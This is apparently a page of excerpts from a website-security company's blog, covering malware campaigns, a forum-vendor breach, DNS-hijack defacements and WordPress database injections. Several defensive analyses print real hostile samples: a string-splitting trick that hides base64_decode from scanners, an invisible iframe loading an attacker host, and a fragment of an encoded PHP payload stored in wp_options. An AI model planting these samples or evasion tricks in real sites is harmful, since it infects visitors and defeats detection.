Darkleech + Bitly.com = Insightful Statistics

This post is about how hackers abuse popular web services, and how this helps security researchers obtain interesting statistics about malware attacks.

We, at Sucuri, work with infected websites every day. While we see some particular infections on one site or on multiple sites, we can’t accurately tell how many more sites out there are infected, and how many people were exposed to that malware. All we can do is estimate.

Most estimations are based on data that can’t provide the whole picture such as number of detections in our SiteCheck scanner, number of cleanup requests, number of posts about a particular problem in webmaster forums. This only helps to tell whether it’s something “major” or “minor”.

Like any other firm out there, sometimes we can make some good educated estimates. For example, we can target specific Google searches that reveal the number of sites that contain some text, or URL specific to a particular attack. Another example is if an attack uses one specific URL (or a few well known URLs), then Google Safe Browsing reports also help estimate number of infected sites. These Google-based approaches are more precise, but they don’t work for most attacks that frequently change domains and have no artifacts that can be found in search results.

If security researchers are quite lucky, they might find an attacker’s unprotected (or poorly protected) Control Panel that contains all the statistics about infected site, clicks, exploits, etc.

This post will be about a different and quite unusual way of obtaining data about activity of a server-level attack that is known for being hard to detect and track.


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Many Pieces of a Puzzle: Target, Neiman Marcus and Website Hacking

Corporations get hacked all the time. This is not news to anyone in the security business, but it has certainly received a lot of attention from those in the media over the last few weeks because of a couple of large-scale credit card events at both Target and Neiman Marcus.

Website Malware

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Understanding Google’s Blacklist – Cleaning Your Hacked Website and Removing From Blacklist

Today we found an interesting case where Google was blacklisting a client’s site but not sharing the reason why. The fact they were sharing very little info should not be new, but what we found as we dove a little deeper should be. The idea is to provide you webmasters with the required insight to understand what is going on, and how to troubleshoot things when your website is blacklisted.

Get Your Bearing

While investigating the website, we found that some Google shortened URLs were being loaded and redirecting to http://bls.pw/. Two of the goo.gl links were pointing to Wikipedia images, their icon to be specific, and one was redirecting to http://bls.pw/ shortener.

goo.gl/9yBTe - http://bits.wikimedia.org/favicon/wikipedia.ico
goo.gl/hNVXP - http://bits.wikimedia.org/favicon/wikipedia.ico?2x2
goo.gl/24vi1 - http://bls.pw/

A quick search for this last URL took us to /wp-content/themes/Site’sTheme/css/iefix.sct. As malware writers like to do, it was trying to trick us into believing it was good code. In this case, the Sizzle CSS Selector Engine code (Real code here) was the target:

Sucuri  Sizzle CSS Selector Engine Modified III

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vBulletin.com Compromised

The vBulletin team recently announced that they suffered a compromise which allowed the attackers access to vbulletin.com servers and database. On their own words:

We take your security and privacy very seriously. Very recently, our security team discovered sophisticated attacks on our network, involving the illegal access of forum user information, possibly including your password. Our investigation currently indicates that the attackers accessed customer IDs and encrypted passwords on our systems. We have taken the precaution of resetting your account password. We apologize for any inconvenience this has caused but felt that it was necessary to help protect you and your account.


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Case Study: Analyzing a WordPress Attack – Dissecting the webr00t cgi shell – Part I

November 1st started like any other day on the web. Billions of requests were being shot virtually between servers in safe and not so safe attempts to access information. After months of waiting, finally one of those not so safe request hit one of our honeypots.

We won’t get into the location of the site because it really doesn’t matter, a fact that most critics don’t realize. As is often the case, the honeypot site was quiet without much traffic and the weakness was access control.

We intentionally left the password to the site to one of the top 10 passwords, with continuous attempts it took about 3 months before it was accessed.

This time though we were ready and this is how it went..

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Blackhat SEO and ASP Sites

It’s all too easy to scream and holler at PHP based websites and the various malware variants associate with the technology, but perhaps we’re a bit too biased.

Here is a quick post on ASP variant. Thought we’d give you Microsoft types some love too.

Today we found this nice BlackHat SEO attack:

Sucuri SiteCheck ASP Malware

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Backdoor Evasion Using Encrypted Content

A few weeks ago on the Sucuri Research Labs we mentioned a new type of malware injection that does not use base64_decode, and instead conceals itself as a variable and is built with a combination of “base_” + (32*2) + “_decode”. This is the part of the code where it is hidden:

$g___g_='base'.(32*2).'_de'.'code';

Any tool that looks for eval, followed by base64_decode, or just flags on any base64_decode usage, will not find it.

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Avira, AVG and WhatsApp Defaced

If you visited the web sites for Avira, AVG or WhatsApp this morning, you probably saw that they didn’t look like they should. All of them were defaced and looked like this:

02 avira defaced

It is a bit horrifying when you see such big sites, including security sites from major Anti Virus products (like AVG and Avira) getting compromised. But what really happened? Did they really get hacked?

DNS redirection

In a broader sense, they did get hacked, but not through a compromise on their servers or network. It looks like the attackers got access to their domains registration panels at Network Solutions and modified their name servers.

For example, these were the new name servers for Avira:

$ host -t NS avira.com
avira.com name server ns1.radioum.com.br.
avira.com name server n1.ezmail.com.br.
avira.com name server n2.ezmail.com.br.
avira.com name server ns2.radioum.com.br.

And these new names servers were pointing Avira’s IP address to 173.193.136.42, instead of the real IP address. That’s why visitors to the site were greeted with a defacement page.

What causes a bit of suspicion is that all these domains are hosted at Network Solutions, so we have to wait a bit more to see if it was caused by a breach on their end or something else.

Update: Avira posted the following on their tech blog: “It appears that our account used to manage the DNS records registered at Network Solutions has received a fake password-reset request which was honoured by the provider. Using the new credentials the cybercriminals have been able to change the entries to point to their DNS servers.” So it doesn’t looks like Netsol was directly hacked, but the attackers found a way to reset the passwords for certain accounts.

Malware iFrame Campaign from Sytes(.)net

For the last few weeks we have been tracking a large malframe (malicious iframe) campaign that has been injecting iframes from random domains from sytes(.)net into compromised sites.

Malicious iframe injection is nothing new, the bad guys have been using no-ip.org domains for a long time. But what is catching our attention is how often these domains are changing and how short a life-span they have.

This is the payload being added to the compromised sites:

<iframe src="httX:// krbnomrhp.sytes.net:12601 /cart/manuallogin/linktous.php?guardian=82" 
    width=1 height=1 style="visibility: hidden"></iframe>

As you can see, it is a normal iframe injection. But that domain will go offline in approximately 30 minutes and get replaced by a new one. Here is a list we compiled over the past 24 hours:

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WordPress Database Table and wp_head Injections

There are multiple places where a malware injection can be hidden on a web site. On WordPress, for example, it can be hidden inside the core files, themes, plugins, .htaccess and on the database. More often than not, the malware uses a combination of those which makes it harder to detect.

Today, we will talk about a database injection that we are seeing often lately, that uses wp_head() to display the malware to anyone visiting a compromised web site.

Database Injection

WordPress offers multiple API calls to manage and read the content from inside the database. One of those calls is the get_option function that returns a value from the wp_options table. The wp_options table is widely used by many plugins and themes to store long term data, and is generally full of entries making it a good place to hide malicious code.

If you don’t believe me and you use WordPress, just list the wp_options table from your site to see what I am talking about.

Here’s what we are finding inside the wp_options table under “page_option” on some compromised sites:

s:7546:"a:18:{i:0;s:10:"11-07-
2013";i:1;s:1:"e";i:2;s:32:"061d57e97e504a23cc932031f712f730";
i:3;s:32:"07b6910226033fa5ee75721b4fc6573f";
i:4;s:4:"val(";i:5;s:32:"2a27230f54e4cea4a8ed38d66e2c0";
i:6;s:1:"(";i:7;s:6993:"'LyogTXVuaW5uIHZlcnNpb246MSBkYXRlOjIxLj
VFsncGFzcyddKT09PSc2OTJlM2Y1MmVlNmYxNmJjNzhmYTZlMWVjNGJkNGE2YSc
VCwgRVhUUl9TS0lQKTsKCglpZighZW1wdHkoJHRob3IpKQoJCUAkdGhvcigkaGF
dGlvbl9leGlzdHMgKCdzdHJpcG9zJykpIHsKCWZ1bmN0aW9uIHN0cmlwb3MgKCR
G9mZnNldD0wKSB7CgkJcmV0dXJuIHN0cnBvcyAoc3RydG...
... very long ..


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